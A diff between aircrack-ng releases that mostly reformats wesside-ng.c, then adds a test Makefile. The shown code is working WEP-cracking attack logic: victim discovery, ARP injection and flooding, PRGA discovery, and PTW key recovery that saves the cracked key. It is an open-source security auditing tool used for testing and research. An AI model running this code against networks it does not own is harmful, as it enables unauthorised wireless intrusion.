-static void send_arp(struct wstate *ws, unsigned short op, char* srcip,
-		     unsigned char* srcmac, char* dstip,
-		     unsigned char* dstmac)
+static void send_arp(struct wstate * ws,
+					 unsigned short op,
+					 char * srcip,
+					 unsigned char * srcmac,
+					 char * dstip,
+					 unsigned char * dstmac)
 {
 	static unsigned char arp_pkt[128];
-	unsigned char* body;
-	unsigned char* ptr;
-	struct ieee80211_frame* wh;
+	unsigned char * body;
+	unsigned char * ptr;
+	struct ieee80211_frame * wh;
 	int arp_len;
 
 	memset(arp_pkt, 0, sizeof(arp_pkt));
 
 	// construct ARP
-	wh = (struct ieee80211_frame*) arp_pkt;
+	wh = (struct ieee80211_frame *) arp_pkt;
 	fill_basic(ws, wh);
 
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
 	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
 	memset(wh->i_addr3, 0xff, 6);
 
-	body = (unsigned char*) wh + sizeof(*wh);
+	body = (unsigned char *) wh + sizeof(*wh);
 	ptr = body;
 	ptr += 4; // iv
 
@@ -1498,49 +1610,52 @@
 	ptr += 8;
 	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
 
-	wepify(ws, body, 8+8+20);
+	wepify(ws, body, 8 + 8 + 20);
 	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
-	assert(arp_len < (int)sizeof(arp_pkt));
+	assert(arp_len < (int) sizeof(arp_pkt));
 
 	send_frame(ws, arp_pkt, arp_len);
 }
 
-static int find_mac(struct wstate *ws)
+static int find_mac(struct wstate * ws)
 {
-	if (!(ws->ws_netip && !ws->ws_rtrmac))
-		return 0;
+	if (!(ws->ws_netip && !ws->ws_rtrmac)) return 0;
 
-	if (gettimeofday(&ws->ws_arpsend, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()");
 
-	time_print("Sending arp request for: %s\n",
-		   ws->ws_netip);
-	send_arp(ws, ARPOP_REQUEST, ws->ws_myip,
-		 ws->ws_mymac, ws->ws_netip, (unsigned char *)
-		 "\x00\x00\x00\x00\x00\x00");
+	time_print("Sending arp request for: %s\n", ws->ws_netip);
+	send_arp(ws,
+			 ARPOP_REQUEST,
+			 ws->ws_myip,
+			 ws->ws_mymac,
+			 ws->ws_netip,
+			 (unsigned char *) "\x00\x00\x00\x00\x00\x00");
 
 	// XXX lame
-	ws->ws_rtrmac = (unsigned char*)1;
+	ws->ws_rtrmac = (unsigned char *) 1;
 
 	return 1;
 }
 
-static int flood(struct wstate *ws)
+static int flood(struct wstate * ws)
 {
-	if (!(ws->ws_rtrmac > (unsigned char*)1 && ws->ws_netip))
-		return 0;
+	if (!(ws->ws_rtrmac > (unsigned char *) 1 && ws->ws_netip)) return 0;
 
 	// could ping broadcast....
-	send_arp(ws, ARPOP_REQUEST, ws->ws_myip,
-		 ws->ws_mymac, ws->ws_netip, (unsigned char*)
-		 "\x00\x00\x00\x00\x00\x00");
+	send_arp(ws,
+			 ARPOP_REQUEST,
+			 ws->ws_myip,
+			 ws->ws_mymac,
+			 ws->ws_netip,
+			 (unsigned char *) "\x00\x00\x00\x00\x00\x00");
 
 	return 1;
 }
 
-static void can_write(struct wstate *ws)
+static void can_write(struct wstate * ws)
 {
-	switch (ws->ws_state) {
+	switch (ws->ws_state)
+	{
 		case FOUND_VICTIM:
 			send_auth(ws);
 			ws->ws_state = SENDING_AUTH;
@@ -1552,125 +1667,133 @@
 			break;
 
 		case GOT_ASSOC:
-			if (ws->ws_pi.pi_prga
-			    && ws->ws_pi.pi_len < ws->ws_min_prga) {
+			if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga)
+			{
 				discover_prga(ws);
 				break;
 			}
 
-			if (ws->ws_cipher) {
+			if (ws->ws_cipher)
+			{
 				decrypt(ws);
 				break;
 			}
 
-			if (!ws->ws_pi.pi_prga)
-				break;
+			if (!ws->ws_pi.pi_prga) break;
 
 			// try to find rtr mac addr
-			if (find_mac(ws))
-				break;
+			if (find_mac(ws)) break;
 
 			// need to generate traffic...
-			if (flood(ws))
-				break;
+			if (flood(ws)) break;
 
 			break;
 	}
 }
 
-static void save_key(unsigned char *key, int len)
+static void save_key(unsigned char * key, int len)
 {
 	char tmp[16];
 	char k[64];
 	int fd;
 	int rd;
 
-	assert(len*3 < (int)sizeof(k));
+	assert(len * 3 < (int) sizeof(k));
 
 	k[0] = 0;
-	while (len--) {
+	while (len--)
+	{
 		snprintf(tmp, 3, "%.2X", *key++);
 		strncat(k, tmp, 2);
-		if (len)
-			strncat(k, ":", 1);
+		if (len) strncat(k, ":", 2);
 	}
 
-	fd = open(KEY_FILE, O_WRONLY | O_CREAT,
-                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-	if (fd == -1)
-		err(1, "open()");
+	fd = open(
+		KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+	if (fd == -1) err(1, "open()");
 
 	printf("\nKey: %s\n", k);
 	rd = write(fd, k, strlen(k));
-	if (rd == -1)
-		err(1, "write()");
-	if (rd != (int) strlen(k))
-		errx(1, "write %d/%d\n", rd, (int) strlen(k));
+	if (rd == -1) err(1, "write()");
+	if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k));
 	close(fd);
 }
 
-static int do_crack(struct wstate *ws)
+static int do_crack(struct wstate * ws)
 {
 	unsigned char key[PTW_KEYHSBYTES];
-        int (* all)[256];
-        int i,j;
-
-        all = malloc(32*sizeof(int [256]));
-        if (all == NULL) {
-            return 1;
-        }
+	int(*all)[256];
+	int i, j;
 
-        //initial setup (complete keyspace)
-        for (i = 0; i < 32; i++) {
-            for (j = 0; j < 256; j++) {
-                all[i][j] = 1;
-            }
-        }
+	all = malloc(32 * sizeof(int[256]));
+	if (all == NULL)
+	{
+		return 1;
+	}
 
+	// initial setup (complete keyspace)
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++)
+		{
+			all[i][j] = 1;
+		}
+	}
 
-	if(PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0) == 1) {
+	if (PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0)
+		== 1)
+	{
 		save_key(key, 13);
+		free(all);
 		return 1;
 	}
-	if(PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT/10, PTW_DEFAULTBF, all, 0) == 1) {
+	if (PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT / 10, PTW_DEFAULTBF, all, 0)
+		== 1)
+	{
 		save_key(key, 5);
+		free(all);
 		return 1;
 	}
 
+	free(all);
 	return 0;
 }
 
 static void sigchild(int x)
 {
-	struct wstate *ws;
+	struct wstate * ws;
 
-	if (x) {} /* XXX unused */
+	if (x)
+	{
+	} /* XXX unused */
 
 	ws = get_ws();
 	ws->ws_crack_pid = 0; /* crack done */
 }
 
-static void try_crack(struct wstate *ws)
+static void try_crack(struct wstate * ws)
 {
-	if (ws->ws_crack_pid) {
+	if (ws->ws_crack_pid)
+	{
 		printf("\n");
 		time_print("Warning... previous crack still running!\n");
 		kill_crack(ws);
 	}
 
-	if (ws->ws_fd) {
-		if (fsync(ws->ws_fd) == -1)
-			err(1, "fsync");
+	if (ws->ws_fd)
+	{
+		if (fsync(ws->ws_fd) == -1) err(1, "fsync");
 	}
 
 	ws->ws_crack_pid = fork();
 
-	if (ws->ws_crack_pid == -1)
-		err(1, "fork");
+	if (ws->ws_crack_pid == -1) err(1, "fork");
 
 	// child
-	if (ws->ws_crack_pid == 0) {
-		if (!do_crack(ws)) {
+	if (ws->ws_crack_pid == 0)
+	{
+		if (!do_crack(ws))
+		{
 			printf("\n");
 			time_print("Crack unsuccessful\n");
 		}
@@ -1680,81 +1803,89 @@
 	// parent
 	printf("\n");
 	time_print("Starting crack PID=%d\n", ws->ws_crack_pid);
-	if (gettimeofday(&ws->ws_crack_start, NULL) == -1)
-		err(1, "gettimeofday");
+	if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday");
 
 	ws->ws_wep_thresh += ws->ws_thresh_incr;
 }
 
-static int elapsedd(struct timeval *past, struct timeval *now)
+static int elapsedd(struct timeval * past, struct timeval * now)
 {
-        int el;
-	int inf = 666*1000*1000;
+	int el;
+	int inf = 666 * 1000 * 1000;
 
-        el = now->tv_sec - past->tv_sec;
+	el = now->tv_sec - past->tv_sec;
 
-	if (el == 0) {
-                el = now->tv_usec - past->tv_usec;
-        } else {
-                el = (el - 1)*1000*1000;
-                el += 1000*1000-past->tv_usec;
-                el += now->tv_usec;
-        }
+	if (el == 0)
+	{
+		el = now->tv_usec - past->tv_usec;
+	}
+	else
+	{
+		el = (el - 1) * 1000 * 1000;
+		el += 1000 * 1000 - past->tv_usec;
+		el += now->tv_usec;
+	}
 
-	if (el < 0)
-		return inf;
+	if (el < 0) return inf;
 
 	return el;
 }
 
-static int read_packet(struct wstate *ws, unsigned char *dst, int len)
+static int read_packet(struct wstate * ws, unsigned char * dst, int len)
 {
 	return wi_read(ws->ws_wi, dst, len, NULL);
 }
 
-static void open_wepfile(struct wstate *ws)
+static void open_wepfile(struct wstate * ws)
 {
 	ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND);
-	if (ws->ws_fd == -1) {
+	if (ws->ws_fd == -1)
+	{
 		struct pcap_file_header pfh;
 
 		memset(&pfh, 0, sizeof(pfh));
-		pfh.magic           = TCPDUMP_MAGIC;
-		pfh.version_major   = PCAP_VERSION_MAJOR;
-		pfh.version_minor   = PCAP_VERSION_MINOR;
-		pfh.thiszone        = 0;
-		pfh.sigfigs         = 0;
-		pfh.snaplen         = 65535;
-		pfh.linktype        = LINKTYPE_IEEE802_11;
-
-		ws->ws_fd = open(WEP_FILE, O_WRONLY | O_CREAT,
-				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-		if (ws->ws_fd != -1) {
+		pfh.magic = TCPDUMP_MAGIC;
+		pfh.version_major = PCAP_VERSION_MAJOR;
+		pfh.version_minor = PCAP_VERSION_MINOR;
+		pfh.thiszone = 0;
+		pfh.sigfigs = 0;
+		pfh.snaplen = 65535;
+		pfh.linktype = LINKTYPE_IEEE802_11;
+
+		ws->ws_fd = open(WEP_FILE,
+						 O_WRONLY | O_CREAT,
+						 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+		if (ws->ws_fd != -1)
+		{
 			if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh))
 				err(1, "write()");
 		}
-	} else {
+	}
+	else
+	{
 		time_print("WARNING: Appending in %s\n", WEP_FILE);
 	}
 
-	if (ws->ws_fd == -1)
-		err(1, "open()");
+	if (ws->ws_fd == -1) err(1, "open()");
 }
 
-static void load_prga(struct wstate *ws)
+static void load_prga(struct wstate * ws)
 {
 	int fd, rd;
 	unsigned char buf[4096];
 
 	fd = open(PRGA_FILE, O_RDONLY);
-	if (fd != -1) {
+	if (fd != -1)
+	{
 		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
 		rd = read(fd, buf, sizeof(buf));
-		if (rd == -1) {
+		if (rd == -1)
+		{
 			perror("read()");
 			exit(1);
 		}
-		if (rd >= 8) {
+		if (rd >= 8)
+		{
 			set_prga(ws, buf, NULL, &buf[3], rd - 3);
 		}
 
@@ -1762,67 +1893,76 @@
 	}
 }
 
-static void check_relay_timeout(struct wstate *ws, struct timeval *now)
+static void check_relay_timeout(struct wstate * ws, struct timeval * now)
 {
 	int el;
 
-	if (!ws->ws_fs.fs_waiting_relay)
-		return;
+	if (!ws->ws_fs.fs_waiting_relay) return;
 
 	el = elapsedd(&ws->ws_fs.fs_last, now);
 
-	if (el > (1500*1000)) {
-//		printf("\nLAMER timeout\n\n");
+	if (el > (1500 * 1000))
+	{
+		//		printf("\nLAMER timeout\n\n");
 		free(ws->ws_fs.fs_data);
 		ws->ws_fs.fs_data = 0;
 	}
 }
 
-static void check_arp_timeout(struct wstate *ws, struct timeval *now)
+static void check_arp_timeout(struct wstate * ws, struct timeval * now)
 {
 	int el;
-	if (ws->ws_rtrmac != (unsigned char*) 1)
-		return;
+	if (ws->ws_rtrmac != (unsigned char *) 1) return;
 
 	el = elapsedd(&ws->ws_arpsend, now);
-	if (el >= (1500*1000)) {
+	if (el >= (1500 * 1000))
+	{
 		ws->ws_rtrmac = 0;
 	}
 }
 
-static void display_status_bar(struct wstate *ws, struct timeval *now,
-			       struct timeval *last_status, char *pbarp)
+static void display_status_bar(struct wstate * ws,
+							   struct timeval * now,
+							   struct timeval * last_status,
+							   char * pbarp)
 {
 	int el;
 
 	el = elapsedd(last_status, now);
-	if (el < 100*1000)
-		return;
+	if (el < 100 * 1000) return;
 
-	if (ws->ws_crack_pid)
-		check_key(ws);
+	if (ws->ws_crack_pid) check_key(ws);
 
 	if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga
-	    && ws->ws_rtrmac > (unsigned char*) 1) {
+		&& ws->ws_rtrmac > (unsigned char *) 1)
+	{
 		time_print("WEP=%.9d (next crack at %d) "
-			   "IV=%.2x:%.2x:%.2x (rate=%d)            \r",
-			   ws->ws_packets, ws->ws_wep_thresh,
-			   ws->ws_iv[0], ws->ws_iv[1], ws->ws_iv[2],
-			   ws->ws_rate);
-
-	} else {
-		if (ws->ws_state == FIND_VICTIM) {
+				   "IV=%.2x:%.2x:%.2x (rate=%d)            \r",
+				   ws->ws_packets,
+				   ws->ws_wep_thresh,
+				   ws->ws_iv[0],
+				   ws->ws_iv[1],
+				   ws->ws_iv[2],
+				   ws->ws_rate);
+	}
+	else
+	{
+		if (ws->ws_state == FIND_VICTIM)
+		{
 			time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp);
-
-		} else if (ws->ws_cipher) {
+		}
+		else if (ws->ws_cipher)
+		{
 			int pos = ws->ws_dpi.pi_len - 1;
 			unsigned char prga = ws->ws_dpi.pi_prga[pos];
 
 			assert(pos);
 
 			time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
-				   prga, ws->ws_cipher[pos] ^ prga);
-		} else
+					   prga,
+					   ws->ws_cipher[pos] ^ prga);
+		}
+		else
 			time_print("%c\r", *pbarp);
 	}
 
@@ -1831,75 +1971,70 @@
 	memcpy(last_status, now, sizeof(*last_status));
 }
 
-static void check_tx(struct wstate *ws, struct timeval *now)
+static void check_tx(struct wstate * ws, struct timeval * now)
 {
 	int elapsed;
 
-	if (!ws->ws_waiting_ack)
-		return;
+	if (!ws->ws_waiting_ack) return;
 
 	elapsed = elapsedd(&ws->ws_tsent, now);
-	if (elapsed >= (int)ws->ws_ack_timeout)
-		send_frame(ws, NULL, -1);
+	if (elapsed >= (int) ws->ws_ack_timeout) send_frame(ws, NULL, -1);
 }
 
-static void check_hop(struct wstate *ws, struct timeval *now)
+static void check_hop(struct wstate * ws, struct timeval * now)
 {
 	int elapsed;
 	int chan = ws->ws_chan;
 
 	elapsed = elapsedd(&ws->ws_lasthop, now);
 
-	if (elapsed < 300*1000)
-		return;
+	if (elapsed < 300 * 1000) return;
 
 	chan++;
-	if(chan > ws->ws_max_chan)
-		chan = 1;
+	if (chan > ws->ws_max_chan) chan = 1;
 
 	set_chan(ws, chan);
 	memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop));
 }
 
-static void post_input(struct wstate *ws, struct timeval *now)
+static void post_input(struct wstate * ws, struct timeval * now)
 {
 	int el;
 
 	// check state and what we do next.
-	if (ws->ws_state == FIND_VICTIM) {
+	if (ws->ws_state == FIND_VICTIM)
+	{
 		check_hop(ws, now);
 		return;
 	}
 
 	// check if we need to write something...
-	if (!ws->ws_waiting_ack)
-		can_write(ws);
+	if (!ws->ws_waiting_ack) can_write(ws);
 
 	el = elapsedd(&ws->ws_last_wcount, now);
 
 	/* calculate rate, roughtly */
-	if (el < 1*1000*1000)
-		return;
+	if (el < 1 * 1000 * 1000) return;
 
 	ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count;
 	ws->ws_last_wep_count = ws->ws_packets;
 
 	memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount));
 
-	if (ws->ws_wep_thresh != -1 && ws->ws_packets
-	    > (unsigned int) ws->ws_wep_thresh)
+	if (ws->ws_wep_thresh != -1
+		&& ws->ws_packets > (unsigned int) ws->ws_wep_thresh)
 		try_crack(ws);
 }
 
-static void do_input(struct wstate *ws)
+static void do_input(struct wstate * ws)
 {
 	unsigned char buf[4096];
 	int rd;
 
 	rd = read_packet(ws, buf, sizeof(buf));
-	if (rd == 0)
-		return;
-	if (rd == -1) {
+	if (rd == 0) return;
+	if (rd == -1)
+	{
 		perror("read()");
 		exit(1);
 	}
@@ -1908,13 +2043,13 @@
 	anal(ws, buf, rd);
 }
 
-static void own(struct wstate *ws)
+static void own(struct wstate * ws)
 {
 	int rd;
 	fd_set rfd;
 	struct timeval tv;
-	char *pbar = "/-\\|";
-	char *pbarp = &pbar[0];
+	char * pbar = "/-\\|";
+	char * pbarp = &pbar[0];
 	struct timeval now;
 	struct timeval last_status;
 	int largest;
@@ -1927,31 +2062,36 @@
 
 	largest = wi_fd(ws->ws_wi);
 
-	if (signal(SIGINT, &cleanup) == SIG_ERR) {
+	if (signal(SIGINT, &cleanup) == SIG_ERR)
+	{
 		perror("signal()");
 		exit(1);
 	}
-	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
+	if (signal(SIGTERM, &cleanup) == SIG_ERR)
+	{
 		perror("signal()");
 		exit(1);
 	}
-	if (signal (SIGCHLD, &sigchild) == SIG_ERR) {
+	if (signal(SIGCHLD, &sigchild) == SIG_ERR)
+	{
 		perror("signal()");
 		exit(1);
 	}
 
 	time_print("Looking for a victim...\n");
 
-	if (gettimeofday(&ws->ws_lasthop, NULL) == -1) {
+	if (gettimeofday(&ws->ws_lasthop, NULL) == -1)
+	{
 		perror("gettimeofday()");
 		exit(1);
 	}
-	memcpy(&ws->ws_last_wcount, &ws->ws_lasthop,
-	       sizeof(ws->ws_last_wcount));
+	memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount));
 	memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status));
 
-	while (1) {
-		if (gettimeofday(&now, NULL) == -1) {
+	while (1)
+	{
+		if (gettimeofday(&now, NULL) == -1)
+		{
 			perror("gettimeofday()");
 			exit(1);
 		}
@@ -1966,9 +2106,9 @@
 		display_status_bar(ws, &now, &last_status, pbarp);
 
 		// check if we are cracking
-		if (ws->ws_crack_pid) {
-			if ((now.tv_sec - ws->ws_crack_start.tv_sec)
-			    >= ws->ws_crack_dur)
+		if (ws->ws_crack_pid)
+		{
+			if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur)
 				kill_crack(ws);
 		}
 
@@ -1980,11 +2120,13 @@
 		FD_ZERO(&rfd);
 		FD_SET(wifd, &rfd);
 		tv.tv_sec = 0;
-		tv.tv_usec = 1000*10;
+		tv.tv_usec = 1000 * 10;
 
-		rd = select(largest+1, &rfd, NULL, NULL, &tv);
-		if (rd == -1) {
-			switch (errno) {
+		rd = select(largest + 1, &rfd, NULL, NULL, &tv);
+		if (rd == -1)
+		{
+			switch (errno)
+			{
 				case EINTR: /* handle SIGCHLD */
 					break;
 				default:
@@ -1995,11 +2137,11 @@
 		}
 
 		// read
-		if (rd != 0 && FD_ISSET(wifd, &rfd)) {
+		if (rd != 0 && FD_ISSET(wifd, &rfd))
+		{
 			/* update status */
 			pbarp++;
-			if(!(*pbarp))
-				pbarp = &pbar[0];
+			if (!(*pbarp)) pbarp = &pbar[0];
 
 			do_input(ws);
 		}
@@ -2008,79 +2150,87 @@
 	}
 }
 
-static void start(struct wstate *ws, char *dev)
+static void start(struct wstate * ws, char * dev)
 {
-	struct wif *wi;
+	struct wif * wi;
 
 	ws->ws_wi = wi = wi_open(dev);
-	if (!wi)
-		err(1, "wi_open(%s)", dev);
+	if (!wi) err(1, "wi_open(%s)", dev);
 
-	if (!ws->ws_have_mac) {
-		if (wi_get_mac(wi, ws->ws_mymac) == -1)
-			printf("Can't get mac\n");
-	} else {
-		if (wi_set_mac(wi, ws->ws_mymac) == -1)
-			printf("Can't set mac\n");
+	if (!ws->ws_have_mac)
+	{
+		if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n");
+	}
+	else
+	{
+		if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n");
 	}
 	time_print("Using mac %s\n", mac2str(ws->ws_mymac));
 
 	ws->ws_ptw = PTW_newattackstate();
-	if (!ws->ws_ptw)
-		err(1, "PTW_newattackstate()");
+	if (!ws->ws_ptw) err(1, "PTW_newattackstate()");
 
 	own(ws);
 
 	wi_close(wi);
 }
 
-static void usage(char* pname)
+static void usage(char * pname)
 {
-	if (pname) {}
-    char *version_info = getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	if (pname)
+	{
+	}
+	char * version_info
+		= getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
 	printf("\n"
-		"  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
-		"  http://www.aircrack-ng.org\n"
-		"\n"
-		"  Usage: wesside-ng <options>\n"
-		"\n"
-		"  Options:\n"
-		"\n"
-		"       -h              : This help screen\n"
-		"       -i      <iface> : Interface to use (mandatory)\n"
-		"       -m      <my ip> : My IP address\n"
-		"       -n     <net ip> : Network IP address\n"
-		"       -a      <mymac> : Source MAC Address\n"
-		"       -c              : Do not crack the key\n"
-		"       -p   <min prga> : Minimum bytes of PRGA to gather\n"
-		"       -v <victim mac> : Victim BSSID\n"
-		"       -t  <threshold> : Cracking threshold\n"
-		"       -f   <max chan> : Highest scanned chan (default: 11)\n"
-		"       -k      <txnum> : Ignore acks and tx txnum times\n"
-		"\n",
-		version_info);
-    free(version_info);
+		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: wesside-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h              : This help screen\n"
+		   "       -i      <iface> : Interface to use (mandatory)\n"
+		   "       -m      <my ip> : My IP address\n"
+		   "       -n     <net ip> : Network IP address\n"
+		   "       -a      <mymac> : Source MAC Address\n"
+		   "       -c              : Do not crack the key\n"
+		   "       -p   <min prga> : Minimum bytes of PRGA to gather\n"
+		   "       -v <victim mac> : Victim BSSID\n"
+		   "       -t  <threshold> : Cracking threshold\n"
+		   "       -f   <max chan> : Highest scanned chan (default: 11)\n"
+		   "       -k      <txnum> : Ignore acks and tx txnum times\n"
+		   "\n",
+		   version_info);
+	free(version_info);
 	exit(0);
 }
 
-static void str2mac(unsigned char* dst, char* mac)
+static void str2mac(unsigned char * dst, char * mac)
 {
 	unsigned int macf[6];
 	int i;
 
-	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
-                   &macf[0], &macf[1], &macf[2],
-                   &macf[3], &macf[4], &macf[5]) != 6) {
-
-		   printf("can't parse mac %s\n", mac);
-		   exit(1);
+	if (sscanf(mac,
+			   "%x:%x:%x:%x:%x:%x",
+			   &macf[0],
+			   &macf[1],
+			   &macf[2],
+			   &macf[3],
+			   &macf[4],
+			   &macf[5])
+		!= 6)
+	{
+
+		printf("can't parse mac %s\n", mac);
+		exit(1);
 	}
 
-	for (i = 0; i < 6; i++)
-		*dst++ = (unsigned char) macf[i];
+	for (i = 0; i < 6; i++) *dst++ = (unsigned char) macf[i];
 }
 
-static void init_defaults(struct wstate *ws)
+static void init_defaults(struct wstate * ws)
 {
 	memset(ws, 0, sizeof(*ws));
 
@@ -2088,30 +2238,33 @@
 	ws->ws_max_chan = 11;
 	memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
 	ws->ws_have_mac = 0;
-	strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip)-1);
-	ws->ws_ack_timeout = 100*1000;
+	strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip) - 1);
+	ws->ws_ack_timeout = 100 * 1000;
 	ws->ws_min_prga = 128;
 	ws->ws_wep_thresh = ws->ws_thresh_incr = 10000;
 	ws->ws_crack_dur = 60;
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
-	struct wstate *ws = get_ws();
+	struct wstate * ws = get_ws();
 	int ch;
 	unsigned char vic[6];
-	char* dev = "IdidNotSpecifyAnInterface";
+	char * dev = "IdidNotSpecifyAnInterface";
 
 	assert(ws);
 	init_defaults(ws);
 
-	if (gettimeofday(&ws->ws_real_start, NULL) == -1) {
+	if (gettimeofday(&ws->ws_real_start, NULL) == -1)
+	{
 		perror("gettimeofday()");
 		exit(1);
 	}
 
-	while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1) {
-		switch (ch) {
+	while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1)
+	{
+		switch (ch)
+		{
 			case 'k':
 				ws->ws_ignore_ack = atoi(optarg);
 				break;
@@ -2126,9 +2279,8 @@
 				break;
 
 			case 'm':
-				strncpy(ws->ws_myip, optarg,
-					sizeof(ws->ws_myip)-1);
-				ws->ws_myip[sizeof(ws->ws_myip)-1] = 0;
+				strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip) - 1);
+				ws->ws_myip[sizeof(ws->ws_myip) - 1] = 0;
 				break;
 
 			case 'n':
@@ -2149,8 +2301,7 @@
 				break;
 
 			case 't':
-				ws->ws_thresh_incr = ws->ws_wep_thresh
-						   = atoi(optarg);
+				ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg);
 				break;
 
 			case 'f':

aircrack-ng-1.2-rc4.tar.gz/src/wkp-frame.h -> aircrack-ng-1.4.tar.gz/src/wkp-frame.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/wpaclean.c -> aircrack-ng-1.4.tar.gz/src/wpaclean.c Changed

aircrack-ng-1.4.tar.gz/test/Makefile.am Added

@@ -0,0 +1,157 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+if CMOCKA
+SUBDIRS = cryptounittest unit
+endif
+if !CMOCKA
+SUBDIRS = cryptounittest
+endif
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(CRYPTO_INCLUDES)
+
+AM_TESTS_ENVIRONMENT = \
+	. $(builddir)/test-env.sh; \
+	if test -d /usr/xpg4/bin; then \
+	  PATH=/usr/xpg4/bin:$$PATH; export PATH; \
+	fi;
+
+TESTS_ENVIRONMENT ?= $(AM_TESTS_ENVIRONMENT)
+
+LIBAC	= ../src/libaclib.la
+LIBAC_LIBS = -L../src -laclib
+
+LIBAIRCRACK_UTIL	= ../src/aircrack-util/libaircrack-util.la
+LIBAIRCRACK_UTIL_LIBS = -L../src/aircrack-util -laircrack-util
+
+test_hex_string_to_array_SOURCES = test-hex_string_to_array.c
+test_hex_string_to_array_LDADD = $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS)
+
+check_PROGRAMS = test-hex_string_to_array
+
+TESTS = test-hex_string_to_array.sh \
+		test-aircrack-ng-0001.sh \
+		test-aircrack-ng-0002.sh \
+		test-aircrack-ng-0003.sh \
+		test-aircrack-ng-0004.sh \
+		test-aircrack-ng-0005.sh \
+		test-aircrack-ng-0006.sh \
+		test-aircrack-ng-0007.sh \
+		test-aircrack-ng-0008.sh \
+		test-aircrack-ng-0009.sh \
+		test-aircrack-ng-0010.sh \
+		test-aircrack-ng-0011.sh \
+		test-aircrack-ng-0012.sh \
+		test-aircrack-ng-0013.sh \
+		test-aircrack-ng-0014.sh \
+		test-aircrack-ng-0015.sh \
+		test-aircrack-ng-0016.sh \
+		test-aircrack-ng-0017.sh \
+		test-airdecap-ng-0001.sh \
+		test-airdecap-ng-0002.sh \
+		test-airdecap-ng-0003.sh \
+		test-airdecap-ng-0004.sh \
+		test-wpaclean-0001.sh \
+		test-wpaclean-0002.sh
+
+if HAVE_SQLITE3
+TESTS += test-airolib-ng-0001.sh
+endif
+
+EXTRA_DIST = test-hex_string_to_array.sh \
+			 test-aircrack-ng-0001.sh \
+			 test-aircrack-ng-0002.sh \
+			 test-aircrack-ng-0003.sh \
+			 test-aircrack-ng-0004.sh \
+			 test-aircrack-ng-0005.sh \
+			 test-aircrack-ng-0006.sh \
